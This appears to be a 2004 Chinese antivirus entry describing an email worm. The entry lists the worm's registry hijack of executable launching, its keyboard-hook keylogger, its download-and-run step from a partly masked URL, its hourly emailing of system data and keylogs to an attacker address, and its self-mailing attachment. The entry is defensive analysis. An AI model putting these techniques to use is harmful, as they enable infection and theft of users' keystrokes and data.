蠕虫病毒
一、采用exel文档图标，拷贝自身为系统目录的 “ FILES32.SYS”，破坏注册表，取得运行机会
HKEY_CLASSES_ROOT\exefile\shell\open\command
(默认) : FILES32.SYS "％1" ％*
二、释放“mh32.dll”，挂结系统键盘钩子，取得用户输入信息和当前窗口的标题，保存到系统目录的
“lmhost.log”。
三、试图下载病毒最新版本 http://***upw.narod.ru/worm31.bmp 保存为本地的“dile.exe”，并运行起来进行破坏。
四、每隔一小时，通过邮件服务器“pop3.rambler.ru”，把本地cpu类型、系统类型、用户、公司、ip地址序列等等计算机详细信息发送出去。
把前面记录的log文件也发送出去，发送到“wot_me@rambler.ru”。
五、发送携带病毒的邮件，附件是“matrix2.scr”
六、运行IE，执行下列命令。
ieXPlore.exe -new http://***web.icq.com/whitepages/page_me/1,,,00.Html?to=353000&nickname=Ldteam&from=Bush
&fromemail=Bush@usa.net&body=Bush_Gandon&x=19&y=8
病毒的清除法： 使用光华反病毒软件，彻底删除。 病毒演示： 病毒FAQ： Windows下的PE病毒。
发现日期： 2004-1-12
文章整理：西部数码--专业提供域名注册、虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息，谢谢!
